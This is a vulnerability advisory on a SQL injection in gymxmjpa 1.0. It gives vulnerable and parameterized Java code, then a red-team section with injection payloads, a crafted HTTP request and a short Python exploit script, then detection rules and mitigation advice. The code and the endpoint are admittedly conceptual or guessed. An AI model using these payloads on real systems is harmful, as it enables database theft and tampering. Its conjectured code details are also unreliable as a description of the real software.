CVE-2025-0410

Executive Summary

CVE-2025-0410 is a critical SQL injection vulnerability discovered in liujianview gymxmjpa version 1.0. The flaw resides in the MenberDaoInpl function within the MenberConntroller.java file, where the hyname argument is unsafely concatenated into SQL queries. This allows remote attackers to execute arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It is a standalone Java application (gymxmjpa) used for gym management. Users should verify the integrity of their deployment and consider isolating the application until a patch is released.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description (critical, remote, SQL injection), a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Could lead to database corruption or denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Public exploit, no patch, remote execution.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the MenberDaoInpl function of MenberConntroller.java. The hyname parameter is taken directly from user input (likely an HTTP request) and embedded into a SQL query without sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

// MenberConntroller.java
public List<Member> searchMember(String hyname) {
    String sql = "SELECT * FROM members WHERE name = '" + hyname + "'";
    return jdbcTemplate.query(sql, new MemberRowMapper());
}

An attacker can inject SQL by providing input like:

' OR '1'='1

This would result in:

SELECT * FROM members WHERE name = '' OR '1'='1'

Returning all members.

More advanced payloads can extract data, modify records, or execute commands via stacked queries (if supported by the database).

Vulnerable vs. Patched Code

Vulnerable Code (gymxmjpa 1.0):

// MenberConntroller.java
public List<Member> searchMember(String hyname) {
    String sql = "SELECT * FROM members WHERE name = '" + hyname + "'";
    return jdbcTemplate.query(sql, new MemberRowMapper());
}

Patched Code (Hypothetical):

// MenberConntroller.java
public List<Member> searchMember(String hyname) {
    String sql = "SELECT * FROM members WHERE name = ?";
    return jdbcTemplate.query(sql, new Object[]{hyname}, new MemberRowMapper());
}

The fix uses parameterized queries (? placeholder) to separate SQL logic from data, preventing injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running gymxmjpa 1.0.
• Network access to the application (e.g., http://target:8080).

Exploit Steps:

1. Identify the vulnerable endpoint (likely /member/search or similar).
2. Send a crafted request with SQL injection in the hyname parameter.

Example Payload (Extract database version):

POST /member/search HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

hyname=' UNION SELECT @@version, NULL, NULL --

Automated Exploit (Python):

import requests

target = "http://target:8080/member/search"
payload = "' UNION SELECT @@version, NULL, NULL --"
data = {"hyname": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests (e.g., ' OR, UNION SELECT, --).
• Use WAF rules to block suspicious parameters.

Mitigation:

• Immediately apply input validation and parameterized queries.
• If patching is not possible, restrict network access to the application.
• Enable database query logging to detect anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing SQL keywords in the hyname parameter (e.g., ' OR, UNION, --).
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified database records (e.g., new admin users, altered member data).
  • Unexpected files in the application directory (if file write is possible).

• Log IOCs:

  • Database logs showing queries with injected SQL.
  • Application logs showing stack traces related to SQL exceptions.

Detection Engineering

YARA Rule

rule CVE_2025_0410_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0410"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-0410"
    strings:
        $s1 = "hyname=" nocase
        $s2 = "' OR " nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "1=1" nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2025-0410 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against gymxmjpa MenberConntroller
author: Valters IT
date: 2025/04/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/member/search"
        cs-uri-query|contains: 
            - "hyname='"
            - "hyname=%27"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0410 SQL Injection Attempt"; flow:to_server; content:"/member/search"; http_uri; content:"hyname="; http_client_body; pcre:"/hyname=.*(\x27|%27).*(OR|or|UNION|union)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application – Restrict network access to trusted IPs only.
2. Apply input validation – Reject any input containing SQL special characters.
3. Use a Web Application Firewall (WAF) – Block SQL injection patterns.

Long-term Fix:

• Upgrade to a patched version – Contact the vendor or fork the project to implement parameterized queries.
• Code review – Audit all database interactions for similar vulnerabilities.
• Implement prepared statements – Replace string concatenation with PreparedStatement in Java.

Workaround (if patching is not possible):

• Disable the vulnerable endpoint – Remove or comment out the searchMember function.
• Use a reverse proxy – Filter requests containing SQL injection patterns.

Valters IT – DevSecOps & Cyber Threat Intelligence